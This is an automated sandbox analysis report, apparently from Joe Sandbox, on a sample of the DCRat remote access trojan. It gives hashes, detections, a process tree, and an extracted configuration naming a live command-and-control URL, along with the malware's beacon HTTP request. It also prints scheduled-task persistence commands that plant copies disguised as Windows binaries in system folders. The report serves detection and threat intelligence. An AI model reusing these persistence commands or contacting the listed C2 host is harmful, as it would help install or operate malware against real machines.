Edit tour

Windows Analysis Report
13ZNp2xvRU.exe

Overview

General Information

Sample name:	13ZNp2xvRU.exe renamed because original name is a hash value
Original sample name:	2519412bd469ce3de2888aa487be8f51.exe
Analysis ID:	1430583
MD5:	2519412bd469ce3de2888aa487be8f51
SHA1:	91dd80c942023f360e81e27f4964504acb9bc4c5
SHA256:	7e98baea7a5b0d51143910cde4c5503ae15d55d6f88b4b840ae7fe79469ed12f
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Creates processes via WMI

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

13ZNp2xvRU.exe (PID: 6544 cmdline: "C:\Users\user\Desktop\13ZNp2xvRU.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

schtasks.exe (PID: 5216 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6404 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5800 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2996 cmdline: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Windows\twain_32\Registry.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3496 cmdline: schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1900 cmdline: schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6668 cmdline: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7052 cmdline: schtasks.exe /create /tn "smartscreen" /sc ONLOGON /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6376 cmdline: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6984 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 12 /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2996 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3496 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1900 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6668 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7052 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6432 cmdline: schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 6 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2412 cmdline: schtasks.exe /create /tn "UserOOBEBroker" /sc ONLOGON /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4080 cmdline: schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 12 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3496 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6736 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6264 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6572 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5844 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3260 cmdline: schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2996 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3608 cmdline: schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6400 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

RRVGfHJzvQMYfWe.exe (PID: 6376 cmdline: "C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

fontdrvhost.exe (PID: 2504 cmdline: C:\Windows\Panther\setup.exe\fontdrvhost.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

fontdrvhost.exe (PID: 6260 cmdline: C:\Windows\Panther\setup.exe\fontdrvhost.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

Registry.exe (PID: 7188 cmdline: C:\Windows\twain_32\Registry.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

Registry.exe (PID: 7224 cmdline: C:\Windows\twain_32\Registry.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

RRVGfHJzvQMYfWe.exe (PID: 7260 cmdline: "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

RRVGfHJzvQMYfWe.exe (PID: 7292 cmdline: "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

smartscreen.exe (PID: 7340 cmdline: "C:\Users\All Users\smartscreen.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

smartscreen.exe (PID: 7372 cmdline: "C:\Users\All Users\smartscreen.exe" MD5: 2519412BD469CE3DE2888AA487BE8F51)

UserOOBEBroker.exe (PID: 7396 cmdline: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

UserOOBEBroker.exe (PID: 7404 cmdline: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe MD5: 2519412BD469CE3DE2888AA487BE8F51)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"j\":\">\",\"l\":\";\",\"u\":\" \",\"W\":\"@\",\"V\":\".\",\"k\":\"-\",\"O\":\"*\",\"H\":\"#\",\"D\":\"%\",\"5\":\"`\",\"p\":\"~\",\"d\":\")\",\"A\":\",\",\"M\":\"!\",\"8\":\"<\",\"N\":\"&\",\"i\":\"$\",\"I\":\"^\",\"4\":\"|\",\"2\":\"(\",\"w\":\"_\"}", "PCRT": "{\"i\":\"(\",\"I\":\"@\",\"d\":\"_\",\"6\":\"^\",\"0\":\"$\",\"c\":\"!\",\"R\":\"%\",\"9\":\" \",\"j\":\"#\",\"w\":\")\",\"G\":\">\",\"y\":\"-\",\"Y\":\"*\",\"b\":\";\",\"l\":\"`\",\"=\":\".\",\"U\":\"<\",\"n\":\"~\",\"p\":\"|\",\"T\":\"&\",\"S\":\",\"}", "TAG": "", "MUTEX": "DCR_MUTEX-6cV1joJwieGuWPhbIJ4v", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false, "H1": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "H2": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "T": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 13ZNp2xvRU.exe PID: 6544	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 6376	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontdrvhost.exe PID: 2504	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontdrvhost.exe PID: 6260	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Registry.exe PID: 7188	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Registry.exe PID: 7224	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7260	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7292	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smartscreen.exe PID: 7340	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smartscreen.exe PID: 7372	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: UserOOBEBroker.exe PID: 7396	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: UserOOBEBroker.exe PID: 7404	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 28 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, CommandLine: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, CommandLine|base64offset|contains: , Image: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, NewProcessName: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, OriginalFileName: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe, ProcessId: 7396, ProcessName: UserOOBEBroker.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\13ZNp2xvRU.exe, ProcessId: 6544, TargetFilename: C:\Users\All Users\smartscreen.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\All Users\smartscreen.exe", CommandLine: "C:\Users\All Users\smartscreen.exe", CommandLine|base64offset|contains: , Image: C:\ProgramData\smartscreen.exe, NewProcessName: C:\ProgramData\smartscreen.exe, OriginalFileName: C:\ProgramData\smartscreen.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\All Users\smartscreen.exe", ProcessId: 7340, ProcessName: smartscreen.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f, CommandLine: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\13ZNp2xvRU.exe", ParentImage: C:\Users\user\Desktop\13ZNp2xvRU.exe, ParentProcessId: 6544, ParentProcessName: 13ZNp2xvRU.exe, ProcessCommandLine: schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f, ProcessId: 6668, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 13ZNp2xvRU.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://45.130.42.16/6/api144/9Wp/	Avira URL Cloud: Label: malware
Source: http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd	Avira URL Cloud: Label: malware
Source: http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\smartscreen.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\twain_32\Registry.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"j\":\">\",\"l\":\";\",\"u\":\" \",\"W\":\"@\",\"V\":\".\",\"k\":\"-\",\"O\":\"*\",\"H\":\"#\",\"D\":\"%\",\"5\":\"`\",\"p\":\"~\",\"d\":\")\",\"A\":\",\",\"M\":\"!\",\"8\":\"<\",\"N\":\"&\",\"i\":\"$\",\"I\":\"^\",\"4\":\"|\",\"2\":\"(\",\"w\":\"_\"}", "PCRT": "{\"i\":\"(\",\"I\":\"@\",\"d\":\"_\",\"6\":\"^\",\"0\":\"$\",\"c\":\"!\",\"R\":\"%\",\"9\":\" \",\"j\":\"#\",\"w\":\")\",\"G\":\">\",\"y\":\"-\",\"Y\":\"*\",\"b\":\";\",\"l\":\"`\",\"=\":\".\",\"U\":\"<\",\"n\":\"~\",\"p\":\"|\",\"T\":\"&\",\"S\":\",\"}", "TAG": "", "MUTEX": "DCR_MUTEX-6cV1joJwieGuWPhbIJ4v", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false, "H1": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "H2": "http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS", "T": "0"}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	ReversingLabs: Detection: 81%
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	ReversingLabs: Detection: 81%
Source: C:\ProgramData\smartscreen.exe	ReversingLabs: Detection: 81%
Source: C:\Recovery\RRVGfHJzvQMYfWe.exe	ReversingLabs: Detection: 81%
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	ReversingLabs: Detection: 81%
Source: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe	ReversingLabs: Detection: 81%
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	ReversingLabs: Detection: 81%
Source: C:\Windows\twain_32\Registry.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: 13ZNp2xvRU.exe

ReversingLabs: Detection: 81%

Machine Learning detection for dropped file

Source: C:\ProgramData\smartscreen.exe	Joe Sandbox ML: detected
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Joe Sandbox ML: detected
Source: C:\Windows\twain_32\Registry.exe	Joe Sandbox ML: detected
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 13ZNp2xvRU.exe

Joe Sandbox ML: detected

Source: 13ZNp2xvRU.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 13ZNp2xvRU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: global traffic	HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 45.130.42.16

Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
Source: unknown	TCP traffic detected without corresponding DNS query: 45.130.42.16
